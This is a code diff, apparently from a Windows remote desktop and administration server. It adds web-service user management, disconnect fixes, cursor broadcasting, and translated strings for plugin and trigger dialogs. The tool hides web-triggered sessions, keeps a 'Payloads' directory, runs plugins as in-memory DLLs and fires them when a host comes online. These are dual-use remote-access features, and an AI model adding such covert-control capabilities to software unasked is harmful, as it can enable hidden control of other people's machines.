if (SUCCEEDED(SHGetFolderPathA(NULL, CSIDL_APPDATA, NULL, 0, appdata_path))) {
|
||||
m_ConfigDir = std::string(appdata_path) + "\\" BRAND_DATA_FOLDER "\\";
|
||||
} else {
|
||||
m_ConfigDir = ".\\";
|
||||
}
|
||||
std::filesystem::create_directories(m_ConfigDir, ec);
|
||||
}
|
||||
|
||||
void CWebService::SetAdminPassword(const std::string& password) {
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
m_Users.clear();
|
||||
|
||||
// Admin user is built-in, always first
|
||||
WebUser admin;
|
||||
admin.username = "admin";
|
||||
admin.salt = ""; // Not used with challenge-response auth
|
||||
@@ -125,6 +148,9 @@ void CWebService::SetAdminPassword(const std::string& password) {
|
||||
m_Users.push_back(admin);
|
||||
|
||||
Mprintf("[WebService] Admin password configured\n");
|
||||
|
||||
// Load additional users from file (non-admin users)
|
||||
LoadUsers();
|
||||
}
|
||||
|
||||
CWebService::~CWebService() {
|
||||
@@ -318,7 +344,9 @@ void CWebService::ServerThread(int port) {
|
||||
uint64_t device_id = id_str.empty() ? 0 : strtoull(id_str.c_str(), nullptr, 10);
|
||||
HandleConnect(ws_ptr, token, device_id);
|
||||
} else if (cmd == "disconnect") {
|
||||
HandleDisconnect(ws_ptr, token);
|
||||
std::string disc_id_str = root.get("id", "").asString();
|
||||
uint64_t disc_device_id = disc_id_str.empty() ? 0 : strtoull(disc_id_str.c_str(), nullptr, 10);
|
||||
HandleDisconnect(ws_ptr, token, disc_device_id);
|
||||
} else if (cmd == "ping") {
|
||||
HandlePing(ws_ptr, token);
|
||||
} else if (cmd == "mouse") {
|
||||
@@ -327,6 +355,14 @@ void CWebService::ServerThread(int port) {
|
||||
HandleKey(ws_ptr, msg);
|
||||
} else if (cmd == "rdp_reset") {
|
||||
HandleRdpReset(ws_ptr, token);
|
||||
} else if (cmd == "get_salt") {
|
||||
HandleGetSalt(ws_ptr, msg);
|
||||
} else if (cmd == "create_user") {
|
||||
HandleCreateUser(ws_ptr, msg);
|
||||
} else if (cmd == "delete_user") {
|
||||
HandleDeleteUser(ws_ptr, msg);
|
||||
} else if (cmd == "list_users") {
|
||||
HandleListUsers(ws_ptr, token);
|
||||
}
|
||||
}
|
||||
});
|
||||
@@ -478,6 +514,51 @@ void CWebService::HandleLogin(void* ws_ptr, const std::string& msg, const std::s
|
||||
SendText(ws_ptr, Json::writeString(builder, res));
|
||||
}
|
||||
|
||||
void CWebService::HandleGetSalt(void* ws_ptr, const std::string& msg) {
|
||||
Json::Value root;
|
||||
Json::Reader reader;
|
||||
if (!reader.parse(msg, root)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("salt", false, "Invalid JSON"));
|
||||
return;
|
||||
}
|
||||
|
||||
std::string username = root.get("username", "").asString();
|
||||
if (username.empty()) {
|
||||
SendText(ws_ptr, BuildJsonResponse("salt", false, "Username required"));
|
||||
return;
|
||||
}
|
||||
|
||||
// Find user and get salt
|
||||
std::string salt = "";
|
||||
bool userFound = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
for (const auto& u : m_Users) {
|
||||
if (u.username == username) {
|
||||
salt = u.salt;
|
||||
userFound = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For security: if user doesn't exist, generate a fake deterministic salt
|
||||
// This prevents username enumeration attacks
|
||||
// Note: Admin has empty salt, so we must check userFound, not salt.empty()
|
||||
if (!userFound) {
|
||||
// Generate deterministic fake salt from username (won't match any real password)
|
||||
salt = WSAuth::ComputeSHA256("fake_salt_prefix_" + username).substr(0, 16);
|
||||
}
|
||||
|
||||
Json::Value res;
|
||||
res["cmd"] = "salt";
|
||||
res["ok"] = true;
|
||||
res["salt"] = salt;
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = "";
|
||||
SendText(ws_ptr, Json::writeString(builder, res));
|
||||
}
|
||||
|
||||
void CWebService::HandleGetDevices(void* ws_ptr, const std::string& token) {
|
||||
std::string username, role;
|
||||
if (!ValidateToken(token, username, role)) {
|
||||
@@ -572,7 +653,7 @@ void CWebService::HandleConnect(void* ws_ptr, const std::string& token, uint64_t
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
|
||||
void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id) {
|
||||
std::string username, role;
|
||||
if (!ValidateToken(token, username, role)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("disconnect_result", false, "Invalid token"));
|
||||
@@ -585,10 +666,14 @@ void CWebService::HandleDisconnect(void* ws_ptr, const std::string& token) {
|
||||
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||
auto it = m_Clients.find(ws_ptr);
|
||||
if (it != m_Clients.end()) {
|
||||
// Only disconnect if no specific device requested, or if it matches current device
|
||||
// This prevents race condition when quickly switching devices
|
||||
if (requested_device_id == 0 || it->second.watch_device_id == requested_device_id) {
|
||||
device_id = it->second.watch_device_id;
|
||||
it->second.watch_device_id = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Close remote desktop if this was the last viewer
|
||||
if (device_id > 0) {
|
||||
@@ -685,6 +770,15 @@ void CWebService::HandleMouse(void* ws_ptr, const std::string& msg) {
|
||||
short wheelDelta = (short)(delta > 0 ? -120 : (delta < 0 ? 120 : 0));
|
||||
msg64.wParam = MAKEWPARAM(0, wheelDelta);
|
||||
} else if (type == "dblclick") {
|
||||
// dblclick is only needed for macOS clients
|
||||
// Windows detects double-click from rapid mousedown/mouseup sequence
|
||||
context* mainCtx = m_pParentDlg->FindHost(device_id);
|
||||
if (!mainCtx) return;
|
||||
CString clientType = mainCtx->GetAdditionalData(RES_CLIENT_TYPE);
|
||||
// Check for both "MAC" (new) and "macOS" (legacy) for compatibility
|
||||
if (clientType != GetClientType(CLIENT_TYPE_MACOS) && clientType != "macOS") {
|
||||
return; // Skip dblclick for non-macOS clients
|
||||
}
|
||||
if (button == 0) {
|
||||
msg64.message = WM_LBUTTONDBLCLK;
|
||||
msg64.wParam = MK_LBUTTON;
|
||||
@@ -831,6 +925,111 @@ void CWebService::HandleRdpReset(void* ws_ptr, const std::string& token) {
|
||||
}
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// User Management Handlers
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
void CWebService::HandleCreateUser(void* ws_ptr, const std::string& msg) {
|
||||
Json::Value root;
|
||||
Json::Reader reader;
|
||||
if (!reader.parse(msg, root)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid JSON"));
|
||||
return;
|
||||
}
|
||||
|
||||
std::string token = root.get("token", "").asString();
|
||||
std::string username, role;
|
||||
if (!ValidateToken(token, username, role)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Invalid token"));
|
||||
return;
|
||||
}
|
||||
|
||||
// Only admin can create users
|
||||
if (role != "admin") {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Permission denied"));
|
||||
return;
|
||||
}
|
||||
|
||||
std::string newUsername = root.get("username", "").asString();
|
||||
std::string newPassword = root.get("password", "").asString();
|
||||
std::string newRole = root.get("role", "viewer").asString();
|
||||
|
||||
if (newUsername.empty() || newPassword.empty()) {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Username and password required"));
|
||||
return;
|
||||
}
|
||||
|
||||
if (CreateUser(newUsername, newPassword, newRole)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", true));
|
||||
} else {
|
||||
SendText(ws_ptr, BuildJsonResponse("create_user_result", false, "Failed to create user (may already exist)"));
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::HandleDeleteUser(void* ws_ptr, const std::string& msg) {
|
||||
Json::Value root;
|
||||
Json::Reader reader;
|
||||
if (!reader.parse(msg, root)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid JSON"));
|
||||
return;
|
||||
}
|
||||
|
||||
std::string token = root.get("token", "").asString();
|
||||
std::string username, role;
|
||||
if (!ValidateToken(token, username, role)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Invalid token"));
|
||||
return;
|
||||
}
|
||||
|
||||
// Only admin can delete users
|
||||
if (role != "admin") {
|
||||
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Permission denied"));
|
||||
return;
|
||||
}
|
||||
|
||||
std::string targetUsername = root.get("username", "").asString();
|
||||
|
||||
if (DeleteUser(targetUsername)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("delete_user_result", true));
|
||||
} else {
|
||||
SendText(ws_ptr, BuildJsonResponse("delete_user_result", false, "Failed to delete user"));
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::HandleListUsers(void* ws_ptr, const std::string& token) {
|
||||
std::string username, role;
|
||||
if (!ValidateToken(token, username, role)) {
|
||||
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Invalid token"));
|
||||
return;
|
||||
}
|
||||
|
||||
// Only admin can list users
|
||||
if (role != "admin") {
|
||||
SendText(ws_ptr, BuildJsonResponse("list_users_result", false, "Permission denied"));
|
||||
return;
|
||||
}
|
||||
|
||||
auto users = ListUsers();
|
||||
|
||||
Json::Value res;
|
||||
res["cmd"] = "list_users_result";
|
||||
res["ok"] = true;
|
||||
|
||||
Json::Value usersArray(Json::arrayValue);
|
||||
for (const auto& u : users) {
|
||||
Json::Value user;
|
||||
user["username"] = u.first;
|
||||
user["role"] = u.second;
|
||||
usersArray.append(user);
|
||||
}
|
||||
res["users"] = usersArray;
|
||||
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = "";
|
||||
std::string json = Json::writeString(builder, res);
|
||||
SendText(ws_ptr, json);
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// Token Management (delegated to WebServiceAuth module)
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
@@ -930,6 +1129,155 @@ std::string CWebService::ComputeHash(const std::string& input) {
|
||||
return WSAuth::ComputeSHA256(input);
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// User Management
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
std::string CWebService::GetUsersFilePath() {
|
||||
return m_ConfigDir + "users.json";
|
||||
}
|
||||
|
||||
void CWebService::LoadUsers() {
|
||||
// Note: m_UsersMutex should already be held by caller (SetAdminPassword)
|
||||
// Load additional users from users.json (admin user is already in m_Users)
|
||||
|
||||
std::string path = GetUsersFilePath();
|
||||
std::ifstream file(path);
|
||||
if (!file.is_open()) {
|
||||
Mprintf("[WebService] No users.json found, using admin only\n");
|
||||
return;
|
||||
}
|
||||
|
||||
try {
|
||||
Json::Value root;
|
||||
Json::CharReaderBuilder builder;
|
||||
std::string errors;
|
||||
if (!Json::parseFromStream(builder, file, &root, &errors)) {
|
||||
Mprintf("[WebService] Failed to parse users.json: %s\n", errors.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
const Json::Value& users = root["users"];
|
||||
int loaded = 0;
|
||||
for (const auto& u : users) {
|
||||
std::string username = u.get("username", "").asString();
|
||||
// Skip admin user (it's built-in with master password)
|
||||
if (username.empty() || username == "admin") continue;
|
||||
|
||||
WebUser user;
|
||||
user.username = username;
|
||||
user.password_hash = u.get("password_hash", "").asString();
|
||||
user.salt = u.get("salt", "").asString();
|
||||
user.role = u.get("role", "viewer").asString();
|
||||
|
||||
if (!user.password_hash.empty()) {
|
||||
m_Users.push_back(user);
|
||||
loaded++;
|
||||
}
|
||||
}
|
||||
Mprintf("[WebService] Loaded %d additional users from users.json\n", loaded);
|
||||
} catch (const std::exception& e) {
|
||||
Mprintf("[WebService] Error loading users.json: %s\n", e.what());
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::SaveUsers() {
|
||||
// Save non-admin users to users.json
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
|
||||
Json::Value root;
|
||||
Json::Value users(Json::arrayValue);
|
||||
|
||||
for (const auto& u : m_Users) {
|
||||
// Skip admin user (it uses master password, not stored in file)
|
||||
if (u.username == "admin") continue;
|
||||
|
||||
Json::Value user;
|
||||
user["username"] = u.username;
|
||||
user["password_hash"] = u.password_hash;
|
||||
user["salt"] = u.salt;
|
||||
user["role"] = u.role;
|
||||
users.append(user);
|
||||
}
|
||||
|
||||
root["users"] = users;
|
||||
|
||||
std::string path = GetUsersFilePath();
|
||||
std::ofstream file(path);
|
||||
if (!file.is_open()) {
|
||||
Mprintf("[WebService] Failed to open users.json for writing\n");
|
||||
return;
|
||||
}
|
||||
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = " ";
|
||||
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
|
||||
writer->write(root, &file);
|
||||
|
||||
Mprintf("[WebService] Saved %d users to users.json\n", (int)users.size());
|
||||
}
|
||||
|
||||
bool CWebService::CreateUser(const std::string& username, const std::string& password, const std::string& role) {
|
||||
if (username.empty() || password.empty()) return false;
|
||||
if (username == "admin") return false; // Cannot create user named "admin"
|
||||
if (role != "admin" && role != "viewer") return false;
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
|
||||
// Check if user already exists
|
||||
for (const auto& u : m_Users) {
|
||||
if (u.username == username) return false;
|
||||
}
|
||||
|
||||
// Generate salt and hash password with salt
|
||||
WebUser user;
|
||||
user.username = username;
|
||||
user.salt = GenerateSalt();
|
||||
user.password_hash = WSAuth::ComputeSHA256(password + user.salt);
|
||||
user.role = role;
|
||||
|
||||
m_Users.push_back(user);
|
||||
Mprintf("[WebService] Created user: %s (role: %s)\n", username.c_str(), role.c_str());
|
||||
}
|
||||
|
||||
// Save to file (outside lock scope since SaveUsers acquires its own lock)
|
||||
SaveUsers();
|
||||
return true;
|
||||
}
|
||||
|
||||
bool CWebService::DeleteUser(const std::string& username) {
|
||||
if (username.empty() || username == "admin") return false;
|
||||
|
||||
bool deleted = false;
|
||||
{
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
|
||||
for (auto it = m_Users.begin(); it != m_Users.end(); ++it) {
|
||||
if (it->username == username) {
|
||||
m_Users.erase(it);
|
||||
Mprintf("[WebService] Deleted user: %s\n", username.c_str());
|
||||
deleted = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (deleted) {
|
||||
SaveUsers();
|
||||
}
|
||||
return deleted;
|
||||
}
|
||||
|
||||
std::vector<std::pair<std::string, std::string>> CWebService::ListUsers() {
|
||||
std::lock_guard<std::mutex> lock(m_UsersMutex);
|
||||
std::vector<std::pair<std::string, std::string>> result;
|
||||
for (const auto& u : m_Users) {
|
||||
result.push_back({u.username, u.role});
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
// JSON Helpers
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
@@ -1089,11 +1437,9 @@ void CWebService::BroadcastH264Frame(uint64_t device_id, const uint8_t* data, si
|
||||
|
||||
// Broadcast to all watching clients
|
||||
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||
int sent_count = 0;
|
||||
for (auto& [ws_ptr, client] : m_Clients) {
|
||||
if (client.watch_device_id == device_id) {
|
||||
SendBinary(ws_ptr, data, len);
|
||||
sent_count++;
|
||||
}
|
||||
}
|
||||
// Cache keyframe (check FrameType byte at offset 4)
|
||||
@@ -1136,6 +1482,27 @@ void CWebService::NotifyResolutionChange(uint64_t device_id, int width, int heig
|
||||
}
|
||||
}
|
||||
|
||||
void CWebService::BroadcastCursor(uint64_t device_id, uint8_t cursor_index) {
|
||||
if (m_bStopping) return;
|
||||
|
||||
// Build JSON message
|
||||
Json::Value res;
|
||||
res["cmd"] = "cursor";
|
||||
res["index"] = cursor_index;
|
||||
|
||||
Json::StreamWriterBuilder builder;
|
||||
builder["indentation"] = "";
|
||||
std::string json = Json::writeString(builder, res);
|
||||
|
||||
// Send to all watching clients
|
||||
std::lock_guard<std::mutex> lock(m_ClientsMutex);
|
||||
for (auto& [ws_ptr, client] : m_Clients) {
|
||||
if (client.watch_device_id == device_id) {
|
||||
SendText(ws_ptr, json);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool CWebService::StartRemoteDesktop(uint64_t device_id) {
|
||||
if (!m_pParentDlg) return false;
|
||||
|
||||
|
||||
@@ -78,6 +78,11 @@ public:
|
||||
// Set admin password (use master password)
|
||||
void SetAdminPassword(const std::string& password);
|
||||
|
||||
// User management
|
||||
bool CreateUser(const std::string& username, const std::string& password, const std::string& role);
|
||||
bool DeleteUser(const std::string& username);
|
||||
std::vector<std::pair<std::string, std::string>> ListUsers(); // Returns [(username, role), ...]
|
||||
|
||||
// Device management (called from main app)
|
||||
void MarkDeviceOnline(uint64_t device_id);
|
||||
void MarkDeviceOffline(uint64_t device_id);
|
||||
@@ -91,6 +96,9 @@ public:
|
||||
// Resolution change notification
|
||||
void NotifyResolutionChange(uint64_t device_id, int width, int height);
|
||||
|
||||
// Cursor change notification (called from ScreenSpyDlg)
|
||||
void BroadcastCursor(uint64_t device_id, uint8_t cursor_index);
|
||||
|
||||
// Get count of web clients watching a device
|
||||
int GetWebClientCount(uint64_t device_id);
|
||||
|
||||
@@ -111,9 +119,10 @@ private:
|
||||
|
||||
// Signaling handlers
|
||||
void HandleLogin(void* ws_ptr, const std::string& msg, const std::string& client_ip);
|
||||
void HandleGetSalt(void* ws_ptr, const std::string& msg);
|
||||
void HandleGetDevices(void* ws_ptr, const std::string& token);
|
||||
void HandleConnect(void* ws_ptr, const std::string& token, uint64_t device_id);
|
||||
void HandleDisconnect(void* ws_ptr, const std::string& token);
|
||||
void HandleDisconnect(void* ws_ptr, const std::string& token, uint64_t requested_device_id = 0);
|
||||
void HandlePing(void* ws_ptr, const std::string& token);
|
||||
void HandleMouse(void* ws_ptr, const std::string& msg);
|
||||
void HandleKey(void* ws_ptr, const std::string& msg);
|
||||
@@ -141,6 +150,14 @@ private:
|
||||
bool VerifyPassword(const std::string& input, const WebUser& user);
|
||||
std::string ComputeHash(const std::string& input);
|
||||
|
||||
// User management helpers
|
||||
std::string GetUsersFilePath();
|
||||
void LoadUsers();
|
||||
void SaveUsers();
|
||||
void HandleCreateUser(void* ws_ptr, const std::string& msg);
|
||||
void HandleDeleteUser(void* ws_ptr, const std::string& msg);
|
||||
void HandleListUsers(void* ws_ptr, const std::string& token);
|
||||
|
||||
// Send to WebSocket
|
||||
void SendText(void* ws_ptr, const std::string& text);
|
||||
void SendBinary(void* ws_ptr, const uint8_t* data, size_t len);
|
||||
@@ -181,6 +198,7 @@ private:
|
||||
|
||||
// User accounts (loaded from config)
|
||||
std::vector<WebUser> m_Users;
|
||||
std::mutex m_UsersMutex;
|
||||
|
||||
// Token secret key (generated on startup)
|
||||
std::string m_SecretKey;
|
||||
@@ -190,6 +208,7 @@ private:
|
||||
int m_nTokenExpireSeconds;
|
||||
bool m_bHideWebSessions; // Whether to hide web-triggered dialogs (default: true)
|
||||
std::string m_PayloadsDir; // Directory for file downloads (Payloads/)
|
||||
std::string m_ConfigDir; // Directory for config files (users.json, etc.)
|
||||
|
||||
// Web-triggered sessions (should be hidden)
|
||||
std::set<uint64_t> m_WebTriggeredDevices;
|
||||
|
||||
@@ -1773,3 +1773,49 @@ Web
|
||||
请在菜单设置Web端口!=Please set Web liscening port!
|
||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
|
||||
如需Web远程桌面跨网使用方案,请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
|
||||
; Plugin Settings Dialog - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
|
||||
内存DLL=Memory DLL
|
||||
自动检测=Auto Detect
|
||||
IOCP线程=IOCP Thread
|
||||
自定义FRPC[不可用]=Custom FRPC [Unavailable]
|
||||
标准FRPC[不可用]=Standard FRPC [Unavailable]
|
||||
不自动执行=No Auto Execute
|
||||
启动执行=Execute on Startup
|
||||
每日定时[未实现]=Daily Schedule [Not Implemented]
|
||||
每周定时[未实现]=Weekly Schedule [Not Implemented]
|
||||
名称=Name
|
||||
大小=Size
|
||||
运行类型=Run Type
|
||||
调度模式=Schedule Mode
|
||||
插件参数配置=Plugin Parameters
|
||||
运行类型:=Run Type:
|
||||
调用方式:=Call Type:
|
||||
调度模式:=Schedule Mode:
|
||||
间隔(秒):=Interval (sec):
|
||||
最大次数:=Max Count:
|
||||
插件设置=Plugin Settings
|
||||
请先选择一个插件=Please select a plugin first
|
||||
提示=Notice
|
||||
配置已保存=Configuration saved
|
||||
保存(&S)=Save(&S)
|
||||
关闭=Close
|
||||
插件设置(&S)=Plugin Settings(&S)
|
||||
代理端口 - 自启=Proxy Port - AutoRun
|
||||
; Trigger Settings Dialog - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
|
||||
触发器(&G)=Tri&gger
|
||||
触发器设置=Trigger Settings
|
||||
触发类型:=Trigger Type:
|
||||
执行动作:=Action:
|
||||
主机上线=Host Online
|
||||
插件名称=Plugin Name
|
||||
触发器=Trigger
|
||||
已配置的触发器=Configured Triggers
|
||||
添加 >>=Add >>
|
||||
<< 移除=<< Remove
|
||||
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||
请先选择至少一个插件=Please select at least one plugin
|
||||
|
||||
|
||||
@@ -1765,3 +1765,48 @@ FRPS
|
||||
请在菜单设置Web端口!=请在菜单设置Web端口!
|
||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
|
||||
如需Web远程桌面跨网使用方案,请联系管理员!=如需Web远程桌面跨网使用方案,请联系管理员!
|
||||
; Plugin Settings Dialog - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
|
||||
内存DLL=記憶體DLL
|
||||
自动检测=自動檢測
|
||||
IOCP线程=IOCP執行緒
|
||||
自定义FRPC[不可用]=自訂FRPC[不可用]
|
||||
标准FRPC[不可用]=標準FRPC[不可用]
|
||||
不自动执行=不自動執行
|
||||
启动执行=啟動執行
|
||||
每日定时[未实现]=每日定時[未實現]
|
||||
每周定时[未实现]=每週定時[未實現]
|
||||
名称=名稱
|
||||
大小=大小
|
||||
运行类型=執行類型
|
||||
调度模式=排程模式
|
||||
插件参数配置=外掛參數設定
|
||||
运行类型:=執行類型:
|
||||
调用方式:=呼叫方式:
|
||||
调度模式:=排程模式:
|
||||
间隔(秒):=間隔(秒):
|
||||
最大次数:=最大次數:
|
||||
插件设置=外掛設定
|
||||
请先选择一个插件=請先選擇一個外掛
|
||||
提示=提示
|
||||
配置已保存=設定已儲存
|
||||
保存(&S)=儲存(&S)
|
||||
关闭=關閉
|
||||
插件设置(&S)=插件设置(&S)
|
||||
代理端口 - 自启=代理端口 - 自启
|
||||
; Trigger Settings Dialog - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
|
||||
触发器(&G)=觸發器(&G)
|
||||
触发器设置=觸發器設定
|
||||
触发类型:=觸發類型:
|
||||
执行动作:=執行動作:
|
||||
主机上线=主機上線
|
||||
插件名称=外掛名稱
|
||||
触发器=觸發器
|
||||
已配置的触发器=已設定的觸發器
|
||||
添加 >>=新增 >>
|
||||
<< 移除=<< 移除
|
||||
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||
请先选择至少一个插件=請先選擇至少一個外掛
|
||||
|
||||
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/PluginConfig.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/Trigger.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
BIN
server/2015Remote/res/Bitmap/WebDesktop.bmp
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 822 B |
@@ -247,6 +247,10 @@
|
||||
#define IDD_FEATURE_LIMITS 368
|
||||
#define IDB_BITMAP8 369
|
||||
#define IDB_BITMAP_CANCELSHARE 369
|
||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||
#define IDB_BITMAP_TRIGGER 372
|
||||
#define IDB_BITMAP_WEBDESKTOP 373
|
||||
#define IDB_BITMAP_PLUGINCONFIG 374
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -705,6 +709,19 @@
|
||||
#define IDC_STATIC_FEATURE_TIP 2522
|
||||
#define IDC_STATIC_AUTH_HOSTNUM 2523
|
||||
#define IDC_EDIT_AUTH_HOSTNUM 2524
|
||||
#define IDC_LIST_PLUGINS 2526
|
||||
#define IDC_COMBO_RUNTYPE_P 2527
|
||||
#define IDC_COMBO_CALLTYPE 2528
|
||||
#define IDC_COMBO_MODE 2529
|
||||
#define IDC_EDIT_INTERVAL 2530
|
||||
#define IDC_EDIT_MAXCOUNT 2531
|
||||
#define IDC_BTN_SAVE 2532
|
||||
#define IDC_STATIC_PLUGIN_SETTINGS 2533
|
||||
#define IDC_STATIC_PLUGIN_RUNTYPE 2534
|
||||
#define IDC_STATIC_PLUGIN_CALLTYPE 2535
|
||||
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
|
||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
#define ID_ONLINE_MESSAGE 32773
|
||||
#define ID_ONLINE_DELETE 32775
|
||||
@@ -935,15 +952,27 @@
|
||||
#define ID_CANCEL_SHARE 33042
|
||||
#define ID_33043 33043
|
||||
#define ID_WEB_REMOTE_CONTROL 33044
|
||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
#define ID_TRIGGER_SETTINGS 33048
|
||||
#define IDD_DIALOG_TRIGGER_SETTINGS 371
|
||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||
#define IDC_BTN_TRIGGER_ADD 2541
|
||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||
#define IDC_LIST_TRIGGERS 2543
|
||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||
#define IDC_STATIC_TRIGGER_ACTION 2545
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 370
|
||||
#define _APS_NEXT_COMMAND_VALUE 33045
|
||||
#define _APS_NEXT_CONTROL_VALUE 2525
|
||||
#define _APS_NEXT_RESOURCE_VALUE 371
|
||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user